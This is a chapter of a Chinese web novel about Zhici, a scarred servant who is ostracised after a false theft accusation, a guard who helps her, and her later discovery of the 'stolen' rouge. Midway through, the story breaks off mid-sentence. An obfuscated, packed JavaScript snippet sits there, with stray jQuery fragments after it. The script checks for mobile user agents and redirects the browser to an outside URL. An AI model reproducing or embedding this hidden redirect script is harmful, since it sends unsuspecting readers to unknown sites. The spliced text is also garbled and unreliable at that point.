2. 孤立

作品:《郎君另有白月光

    因为秋爽的指控,知慈被府上的婢女家丁孤立了起来,没人同她说话,手中的活需要别人配合时也无人愿意帮忙。


    这日管事要求知慈彻底打扫演武场的卫生,并将于第二日过来检查。


    时近傍晚,夕阳斜照,演武场周围只有三三两两的护院还未离开,凑在一起勾肩搭背,时不时爆发一阵大笑。


    明日就将检查,管事作风严谨,连最边角的细节卫生也会检查。演武场东北处有几口积灰的大箱子需要移开,但箱子太沉知慈一个女子搬不动。


    如果打扫不到位,管事就会扣月俸。知慈望着那几口沉重无比的箱子,鼓起勇气想找护院帮忙。


    在场边闲聊的四个护院,见知慈向他们走来,声音渐渐停了下来。


    “诸位能帮我一个忙吗。”知慈诚恳开口。


    几个青年交换了个眼色,又继续等待知慈的下文,谁也没搭腔。


    知慈道,“是这样,那几口箱子我抬不动,实在没法清理,能不能帮忙我抬一下。”


    护院们相互对视,沉默片刻,一人道,“你去吧。”


    另一人反问,“你怎么不去。”


    那人又道,“我不想去。”


    第三个护院笑道,“上次大夫人身边的纤纤姑娘来找你帮忙,你可是争着抢着上去要帮忙。”


    “你放屁!”


    几个护院你一言我一语,话题渐渐扯远,把知慈晾在了一边。


    知慈等了很久,见自己完全被忽略,心知对方不会帮忙,于是默默转身离开。


    “我帮你吧。”瘦高的护院刚才一直没说话,这时突然发声。


    其他护院立刻开始起哄,“哎呦,张小功真君子啊。”


    名叫张小功的护院没有回嘴,只是示意知慈带路。


    知慈非常感激,领着张小功去箱子处。身后其他护院见知慈离开,刻意压低了声音,但知慈还是听得很清楚。


    “她到底偷没偷秋爽的东西?”


    “我觉得偷了,秋爽人不错,不可能骗人。”


    “我也觉得,你看见她脸上的疤了吗?长得就让我不舒服。”


    知慈抿紧唇,唇色发白。


    “他们说的,你别往心里去。”身边,张小功突然开口。


    “……没事的。”知慈讷讷道。


    “平日总能见到你认真工作,不像偷别人东西的人。”张小功道,“倒是秋爽,她平日便热衷搬弄是非,你应是被她污蔑了。”


    张小功一番话让知慈心中仿佛有暖流淌过,她眼眶发酸,“谢谢你,真的。”


    “没事儿,箱子在哪,我帮你搬。”张小功道,“其实护院们都是好人,他们只是相信秋爽的话误会了你,所以你别因为他们态度不好难过。”


    “我明白。”知慈开口,却没忍住发出一声哽咽。


    “你别哭啊,哎呀。”张小功有点手足无措,“快搬吧,等下赵兄弟就过来了。”


    “赵兄弟?你说赵晏然吗?”知慈擦了一下眼泪,注意力被他的话转移。


    张小功点头,“是。赵兄弟每日寅时准时领我们操练,指点功夫。”


    提起赵晏然,张小功忍不住多说了两句,“赵兄弟年纪比我们所有护院都小,但武功却比我们加起来还高。”张小功语气中流露出艳羡,“听说他在武学圣地上清山上长大,起点极高,小小年纪便有我们普通人努力一辈子也赶不上的武学造诣。”


    知慈感慨,“真是同人不同命。”


    张小功叹了口气,“我若有他的好命就好了——上清门徒,路府的座上宾,还有天下无敌的剑术,”他默默无语,半晌如梦初醒,“唉,抱歉,我开始胡说八道了。”


    知慈摇摇头,“我理解你的感受。我有个姐姐,漂亮大方,琴棋书画样样精通。而我脸上天生一道长疤毁了容,又没什么才华,所以我也很羡慕她。”


    知慈同张小功越聊越投机,期间知慈打扫完卫生死角,他又帮知慈把箱子搬了回去。


    告别时,张小功对知慈说,“如果秋爽再找你麻烦,你别怕她,我支持你。”


    -


    与知慈告别后,张小功返回演武场,此时演武场人已散去,令张小功意外的是,他看见赵晏然正在同自家家主路繁叶正在商谈事情。


    路繁叶二十五六的年纪,身着锦服头戴玉冠,一派富贵模样。见到张小功,路繁叶唤道,“哎,你,过来。”


    张小功依言上前,恭敬低头道,“大少爷。”


    路繁叶转头去问赵晏然,“他的功夫怎么样?”


    赵晏然瞥了张小功一眼,“护院中的吊车尾水平。”


    听赵晏然这样评价,路繁叶皱起了眉。


    见自己一向佩服的少年这么看自己,张小功很没面子,“赵兄弟,我的功夫虽然不算上乘,但怎么也排不到吊车尾啊。”


    张小功的功夫在路府护院里属于中下。虽不出色,但被赵晏然直接评价为吊车尾,还是让他不服气。


    赵晏然道,“上次考核你排倒数第十,不算吊车尾,也大差不差了。”


    张小功还欲再辩解,被路繁叶打断。他挥挥手,示意张小功没他的事了。


    张小功见家主发话,只得走开。


    张小功走开后,路繁叶对赵晏然道,“晏然,我想拜托你件事。”


    赵晏然面无表情望着他,等待下文。


    近来时局动乱,路繁叶花重金求武林第一门派“上清山”庇佑路府平安,而被上清掌门派下山来保护路府的人便是赵晏然。


    离开上清山时,掌门特意对赵晏然训话,让这个桀骜不驯的小弟子事事要听路繁叶差遣。


    路繁叶相当佩服赵晏然的实力,诚恳拜托他无事时多多指点路府护院的武艺,并把统领护院的权力都交给了他。所以赵晏然实质上相当于领了路府教头的差事。


    眼下,路繁叶诚恳望着赵晏然,说出了自己的请求。


    “近来白巾教猖獗,路府需要加强安防,所以我从北方聘请了一批退役的士兵过来。至于府上武艺不精的护院,就没必要花钱养他们了。晏然,你帮我挑出护院里水平最差的十个人,将他们打发出府。”


    少年瞥了他一眼,“您怎不让管事来办?”


    路繁叶面不改色道,“你功夫高,看人比我准。而且我把权力放给你,由你来选,如此一来一旦真遇到危险,你也能多几个称心如意的几个帮手。”


    赵晏然开始时神情还嗤之以鼻,但听闻后半句话,他的神色松动下来。


    “行,交给我吧。”


    -


    知慈在演武场的待遇并不是特例,除了张小功,几乎周围所有的家仆,都因为秋爽的指控排斥知慈,即使必须和知慈打交道,态度也总不冷不热暗含嘲讽。


    与之相反,秋爽明明是施暴人,却因善于哭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711720|144584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    诉而很得周围人的同情。


    这日,管事安排了新的差事,让知慈和秋爽一同负责距离府邸两条街外几间空置商铺的清扫工作。


    秋爽一脸不愿,“周妈妈,还有别的活能选吗,累一点也行。”她顿了一顿,头转向知慈方向瞥了一眼,又转回道,“我不想和她一起。”


    知慈同样不想和她一起,但并没有表现出来。


    管事皱了皱眉,“分配了差事还挑挑拣拣?赶紧去。”


    秋爽不情不愿,随知慈拿了水桶笤帚,前往商铺。


    路上,秋爽故意一前一后和知慈保持一段距离。知慈见状,故作不知。


    到达闲置的商铺,铺里灰尘呛得二人直咳嗽,只见屋中家具破败,蒙着厚厚一层灰尘,非常不好清理,而其他几间商铺也是一样的情形。


    知慈开口,“咱们对半分吧,一共六间商铺,你选朝北的三间,还是朝南的三间?”


    秋爽不搭腔,低头玩指甲。


    见秋爽不开口,知慈道,“你不选?那我就选北边三间商铺了,剩下的归你。”


    “凭什么?”秋爽立刻道,“北边商铺里家具比南边少,屋子也小,清理起来更简单。你不就是觉得北边轻松吗?”


    知慈皱眉,“那我问你你为什么不搭腔?”


    秋爽没回答,道,“我负责北边,剩下的我不管。”


    知慈懒得与她计较,提着水桶绕了一大圈路来到南边商铺,放下水桶时想起来把笤帚落在了北屋。


    于是她又回到北屋去拿笤帚,却见秋爽只擦了一面桌子和铜镜便开始偷懒,手里拿着一盒胭脂弓身对着铜镜抹。


    见知慈折返,秋爽立刻弹起身把拿胭脂的手背到身后,随即意识到自己欲盖弥彰,便又慢慢拿出了胭脂。


    知慈看见胭脂,加上秋爽方才的举动,还有什么不明白?


    知慈指着那盒胭脂,“这是不是你之前丢的胭脂?”


    秋爽眼睛盯着远处的蛛网,道,“不是。”


    知慈道,“不是的话,你心虚藏什么?”


    秋爽抬起眼,正视知慈,道,“那又怎样?即使是,那也是我的东西,我找到我的东西关你什么事?”


    望着秋爽一脸无所谓的态度,又想起这些日子被周围家仆的排挤,知慈心中一阵恶心,“你既然早就找到了,为什么不和大家澄清我没偷你东西?”


    秋爽翻了个白眼,道,“我为什么要澄清?我怎么知道你是不是偷完我东西后害怕了,才放回去的?”


    说完她把胭脂使劲往面前桌上一拍,“你能把我怎么样?要么你把胭脂拿走吧,正好做实你偷东西的罪名。”


    知慈抿唇望着桌上的胭脂,半晌没说话。秋爽见她这样,反而有些忐忑。


    就在这时,知慈平静点点头道,“行,不说算了。”


    说罢,知慈一语不发,拿起笤帚离开秋爽,回了南屋。


    她心想赵晏然说的对,自己是否偷了东西根本不重要,因为秋爽只是想找个由头欺负人。


    所以自证清白没用,和秋爽争吵也没用。对付这种人,只有让她真正感到疼了,她才会后悔。


    知慈抛却杂念,开始专注本职,认真清扫起了屋子。


    然而就在这时,北屋方向的大街上传来嘈杂的喧哗和呼喊。


    知慈警觉放下笤帚,随即她听到一墙之隔,突然传来秋爽极为惊恐的尖叫。